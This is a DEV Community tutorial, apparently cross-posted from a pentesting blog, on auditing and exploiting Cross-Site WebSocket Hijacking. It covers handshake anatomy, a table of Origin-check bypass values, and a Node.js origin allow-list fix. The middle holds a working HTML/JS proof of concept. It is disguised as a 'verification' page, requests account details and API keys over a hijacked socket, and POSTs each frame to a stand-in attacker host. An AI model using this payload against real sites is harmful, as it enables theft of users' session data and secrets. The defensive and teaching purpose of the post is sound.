DEV Community

Syed Abrar
Syed Abrar

Posted on Originally published at andraxpentester.in

Auditing & Exploiting Cross-Site WebSocket Hijacking (CSWSH) in 2026: Origin Bypasses & Defense

Originally published on Andrax Pentester

Hands-On Tutorial: Auditing & Exploiting Cross-Site WebSocket Hijacking (CSWSH) in 2026

Author: Syed Zada Abrar | Lead Researcher, Andrax Pentester & Founder, SentinelReign

Category: Web & API Security / Offensive Engineering


Executive Summary & Step-0 Mental Model

Unlike traditional HTTP REST endpoints governed by the browser's Same-Origin Policy (SOP), the WebSocket protocol (RFC 6455) was explicitly designed to enable bi-directional, full-duplex communication across domain boundaries. While standard cross-origin HTTP requests (e.g., fetch or XMLHttpRequest) are restricted by CORS (Cross-Origin Resource Sharing) policies, WebSockets bypass standard CORS enforcement entirely.

When a browser initiates a WebSocket connection, it starts with a standard HTTP/1.1 or HTTP/2 GET request containing an Upgrade: websocket header. If the victim is authenticated via ambient credentials (such as Cookie session headers or HTTP Basic/NTLM auth), the browser automatically attaches these credentials to the initial handshake—even if the request originates from an untrusted third-party website (https://attacker.com).

If the server fails to rigorously validate the Origin header or enforce CSRF tokens during the handshake, an attacker can hijack the full-duplex channel. This attack vector is known as Cross-Site WebSocket Hijacking (CSWSH).


Technical Anatomy of the WebSocket Handshake

To audit WebSockets effectively, you must understand the exact HTTP upgrade frame sequence.

1. The Vulnerable Handshake Request

GET /api/v1/live-feed HTTP/1.1
Host: api.target-system.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Cookie: session_id=e9a18f4c-22b0-4f9a-9e12-89201fba4101
Origin: https://attacker.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade
Upgrade: websocket
Enter fullscreen mode Exit fullscreen mode

2. The Vulnerable Handshake Response

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Enter fullscreen mode Exit fullscreen mode

2026 Exploitation Vectors & Origin Bypasses

Vector 1: Complete Absence of Origin Header Checking

Many real-world single-page applications (SPAs) and internal developer microservices (e.g., local AI model runners, debugging dashboards like Mailpit, or internal management portals) verify authentication tokens but omit Origin checking entirely. Any website can open a socket directly to ws://localhost:8080/ws or wss://app.enterprise.com/stream.

Vector 2: Regexp & String Matching Flaws

Flawed Validation Logic Bypass Origin Header Exploit Mechanism
origin.indexOf("target.com") !== -1 https://target.com.attacker.com Prefix match / Subdomain spoofing
origin.endsWith("target.com") https://attacker-target.com Hostname suffix registration
origin.startsWith("https://target.com") https://target.com.attacker.com Trailing slash omission bypass
if (!origin) allow() Origin: null Sandboxed iframe (<iframe sandbox="allow-scripts">)

Weaponized Exploit Proof of Concept (PoC)

Below is a production-grade HTML/JS exploit payload that stealthily opens a cross-origin WebSocket connection to exfiltrate live frames:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Secured Document Portal - Verification Required</title>
</head>
<body>
    <script>
        const TARGET_WS_URL = "wss://target-system.com/api/v1/live-feed";
        const EXFIL_ENDPOINT = "https://attacker-c2.com/log";

        const ws = new WebSocket(TARGET_WS_URL);

        ws.onopen = function() {
            ws.send(JSON.stringify({ action: "FETCH_ACCOUNT_DETAILS", include_api_keys: true }));
        };

        ws.onmessage = function(event) {
            fetch(EXFIL_ENDPOINT, {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({ stolen_data: event.data })
            });
        };
    </script>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Secure Architecture: Node.js & Go Whitelisting

Node.js Strict Origin Check

const ALLOWED_ORIGINS = new Set(['https://target-system.com']);

server.on('upgrade', (request, socket, head) => {
    const origin = request.headers.origin;
    if (!origin || !ALLOWED_ORIGINS.has(origin)) {
        socket.write('HTTP/1.1 403 Forbidden\r\n\r\n');
        socket.destroy();
        return;
    }
    wss.handleUpgrade(request, socket, head, (ws) => {
        wss.emit('connection', ws, request);
    });
});
Enter fullscreen mode Exit fullscreen mode

For full deep-dive implementation details, Python scanner tools, and KQL SIEM detection rules, read the complete masterclass on Andrax Pentester.

Top comments (0)